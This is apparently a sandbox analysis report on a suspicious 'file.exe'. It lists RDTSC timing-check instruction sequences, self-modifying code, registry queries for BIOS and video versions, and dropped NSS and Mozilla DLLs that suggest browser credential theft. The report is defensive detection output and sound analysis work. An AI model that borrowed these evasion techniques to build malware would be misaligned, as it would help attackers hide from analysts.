Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D429 second address: 79D431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D8AB second address: 79D8B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D8B1 second address: 79D8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F36ED361E0Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DA35 second address: 79DA59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F36EC8543C6h 0x0000000d jmp 00007F36EC8543D5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DA59 second address: 79DA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 js 00007F36ED361E06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DA69 second address: 79DA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DD69 second address: 79DD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DEC0 second address: 79DEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DEC4 second address: 79DECE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F36ED361E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E02F second address: 79E033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E033 second address: 79E054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E17h 0x00000007 jno 00007F36ED361E06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E054 second address: 79E063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnp 00007F36EC8543C6h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EF93 second address: 79EF97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EF97 second address: 79EF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6D3B second address: 7A6D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F36ED361E06h 0x0000000a pop ecx 0x0000000b push edx 0x0000000c jmp 00007F36ED361E0Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6D53 second address: 7A6D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F36EC8543CDh 0x0000000a jmp 00007F36EC8543CFh 0x0000000f popad 0x00000010 push eax 0x00000011 je 00007F36EC8543C8h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a jmp 00007F36EC8543D4h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B93D1 second address: 7B93E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E0Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0BE5 second address: 7C0BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0BEB second address: 7C0BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0BEF second address: 7C0C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F36EC8543D9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5380 second address: 7C538A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C538A second address: 7C53D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D1h 0x00000009 jmp 00007F36EC8543D8h 0x0000000e popad 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 push edi 0x00000016 jmp 00007F36EC8543D2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA44A second address: 7CA45B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA45B second address: 7CA460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC90F second address: 6EC922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D121F second address: 7D1266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007F36EC8543CCh 0x00000010 jmp 00007F36EC8543D1h 0x00000015 pop edi 0x00000016 push eax 0x00000017 jmp 00007F36EC8543D1h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFC28 second address: 7CFC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFD77 second address: 7CFD7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFD7B second address: 7CFD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFD87 second address: 7CFDA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F36EC8543D0h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFF0E second address: 7CFF37 instructions: 0x00000000 rdtsc 0x00000002 js 00007F36ED361E06h 0x00000008 jmp 00007F36ED361E17h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F36ED361E06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D01C5 second address: 7D0206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007F36EC8543D4h 0x0000000b pop edx 0x0000000c pushad 0x0000000d jnp 00007F36EC8543C8h 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F36EC8543D4h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jbe 00007F36EC8543C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D04F3 second address: 7D04F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D04F7 second address: 7D04FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D04FD second address: 7D0503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0503 second address: 7D051A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F36EC8543CEh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edi 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D051A second address: 7D0520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6057 second address: 7D605F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0476 second address: 7E0494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F36ED361E08h 0x00000014 push edx 0x00000015 jne 00007F36ED361E06h 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0494 second address: 7E04A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F36EC8543C6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3F15 second address: 7E3F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3F19 second address: 7E3F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3BB4 second address: 7F3BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3BBD second address: 7F3BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007F36EC8543CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3BCA second address: 7F3BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F36ED361E0Fh 0x0000000f jns 00007F36ED361E06h 0x00000015 popad 0x00000016 jmp 00007F36ED361E11h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801E6F second address: 801E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805651 second address: 805655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805655 second address: 805659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8057E0 second address: 8057E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8057E4 second address: 80580E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D7h 0x00000007 jmp 00007F36EC8543CBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805B13 second address: 805B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805B1C second address: 805B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805B22 second address: 805B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E3E second address: 805E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F36EC8543CFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E54 second address: 805E5E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F36ED361E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806190 second address: 806195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806195 second address: 8061A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F36ED361E06h 0x0000000a jno 00007F36ED361E06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8062C1 second address: 8062D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnc 00007F36EC8543C6h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8062D1 second address: 8062F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c ja 00007F36ED361E0Ah 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8062F4 second address: 806301 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80645B second address: 80645F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80645F second address: 80647E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F36EC8543D7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80647E second address: 806482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806482 second address: 8064B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F36EC8543D4h 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F36EC8543D2h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8064B5 second address: 8064BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8064BF second address: 8064CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F36EC8543C6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80932D second address: 809337 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F36ED361E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C392 second address: 80C3A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36EC8543D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C3A9 second address: 80C3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F36ED361E06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C3BA second address: 80C3E8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F36EC8543C6h 0x00000008 jmp 00007F36EC8543D8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push edx 0x00000013 jng 00007F36EC8543C6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DE05 second address: 80DE0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02FD second address: 4CE0302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0302 second address: 4CE0308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0308 second address: 4CE0328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F36EC8543D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0328 second address: 4CE032F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, A8h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03DC second address: 4CE03F7 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F36EC8543CCh 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03F7 second address: 4CE03FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03FB second address: 4CE0401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0401 second address: 4CE0437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36ED361E12h 0x00000008 movzx eax, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F36ED361E0Dh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov ebx, 56095E4Eh 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7320CF second address: 73210A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F36EC8543CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F36EC8543CEh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F36EC8543D5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732478 second address: 73247E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73247E second address: 732495 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F36EC8543C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F36EC8543C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0C1B second address: 4CE0C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0C35 second address: 4CE0C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F36EC8543CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0C47 second address: 4CE0C84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, edx 0x0000000e pushfd 0x0000000f jmp 00007F36ED361E15h 0x00000014 or eax, 1E014216h 0x0000001a jmp 00007F36ED361E11h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0C84 second address: 4CE0CB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 call 00007F36EC8543D3h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F36EC8543D2h 0x00000018 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 581B5F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57F4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 74B54A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7ADD29 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

